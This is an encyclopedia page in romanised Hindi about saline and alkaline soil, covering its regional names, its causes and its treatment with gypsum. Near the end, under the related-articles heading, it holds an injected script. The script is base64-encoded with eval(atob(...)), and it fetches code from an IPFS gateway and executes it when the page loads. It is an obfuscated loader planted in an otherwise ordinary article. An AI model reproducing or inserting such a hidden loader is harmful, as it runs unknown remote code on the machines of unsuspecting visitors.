क्षारयुक्त मिट्टी

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

ksharayukt mitti (aangrezi: Saline and Alkaline Soil) shushk aur ardhashushk kshetroan, daladali kshetroan, adhik sianchaee vale kshetroan mean paee jati hai. inhean 'thoor', oosar, kallah d, rak d, re aur chopan ke namoan se bhi jana jata hai. shushk bhagoan mean adhik sianchaee ke karan evan adhik varsha vale kshetroan mean jal-pravah doshapoorn hone evan jalarekha upar-niche hone ke karan is mitti ka janm hota hai. is prakar ki mitti mean bhoomi ki nichali paratoan se kshar ya lavan vashpikaran dvara upari paratoan tak a jate haian. is mitti mean sodiyam, kailsiyam aur maigneshiyam ki matra adhik payi jane se prayah yah mitti anutpadak ho jati hai.

paribhasha

ksharayukt mitti us prakar ki mitti ko kahate haian, jisamean kshar tatha lavan vishesh matra mean pae jate haian. shushk jalavayu vale sthanoan mean yah lavan shvet ya bhoore-shvet rang ke roop mean mrida ya mitti par jama ho jata hai. yah mrida poornataya anupajaoo evan oosar hoti haian aur isamean shushk rritu mean kuchh lavanapriy paudhoan ke alava any kisi prakar ki vanaspati nahian milati. is tarah ke mrida ko uttar pradesh mean 'oosar' ya 'rehala', panjab mean 'thoor', kallar ya bara, muanbee mean chopan, karal ityadi kahate haian.

kshariyata ka karan

  1. mitti khanijoan ki upasthiti mean khanij apakshay ke dauran sodiyam karbonet aur sodiyam baikarbonet ka utpadan.
  2. sodiyam karbonet, sodiyam baikarbonet (bekiang soda), sodiyam salphet, sodiyam haidroksaid (kastik soda), sodiyam haipoklorait (blichiang paudar) adi jaise audyogik aur ghareloo apashisht, unaki utpadan prakriya ya khapat mean pani ki lavanata ko bhari matr mean badha deti hai.
  3. koyala se chalane vale b aauyalar/bijali sanyantr, jab choona patthar mean samriddh koyale ya lignait ka upayog karate hai to kaishiyam aauksaid yukt rakh utpann karate haian. kaishiyam aauksaid asani se pani mean ghool jata hai. phir rasayanik prakriya ke karan slake laim ka nirman karate haian jo sichaee ya nadiyoan dvara mitti ya mrida tak pahuanchati hai aur is prakar mrida ya mitti ka lavanikaran ho jata hai.
  4. sianchaee (satah ya bhoojal) mean naram pani ka upayog jisamean apekshakrit uchch matra mean sodiyam baikarbonet aur kam kailshiyam aur maignishiyam hota hai.

upachar

is mitti ko urvar banane ke lie jyadatar naitrojan, ph aausphoras tatha potaishiyam ka upayog kiya jata hai lekin kailshiyam evan salphar ka upayog gaun rakha jata hai. jisase kailshiyam evan salphar ki kami ki samasya dhire-dhire vikaral roop dharan kar rahi hai, inaki kami saghan kheti vali bhoomi, halki bhoomi tatha apaksharaniy bhoomi mean adhik hoti hai. kailshiyam evan salphar santulit poshak tatv prabandhan ke mukhy avayavakoan mean se hai jinaki poorti ke anek strot haian. inamean se jipsam ek mahatvapoorn urvarak hai. jipsam ek talachhat khanij hai aur kshariy mrida ya mitti ke upachar ke lie yah bahut mahatvapoorn yaugik mana jata hai. isamean 23.3 pratishat kailshiyam evan 18.5 pratishat salphar hota hai. jab yah pani mean ghulata hai to kailshiyam evan salphet ayan pradan karata hai. tulanatmak roop se kuchh adhik dhanatmak hone ke karan kailshiyam ke ayan mrida mean vidyaman vinimay sodiyam ke ayanoan ko hatakar unaka sthan grahan kar lete hai. ayanoan ka matiyar kanoan par yah parirvatan mrida ki rasayanik evan bhautik avastha mean sudhar kar deta hai tatha mrida phasalotpadan ke lie upayukt ho jati hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah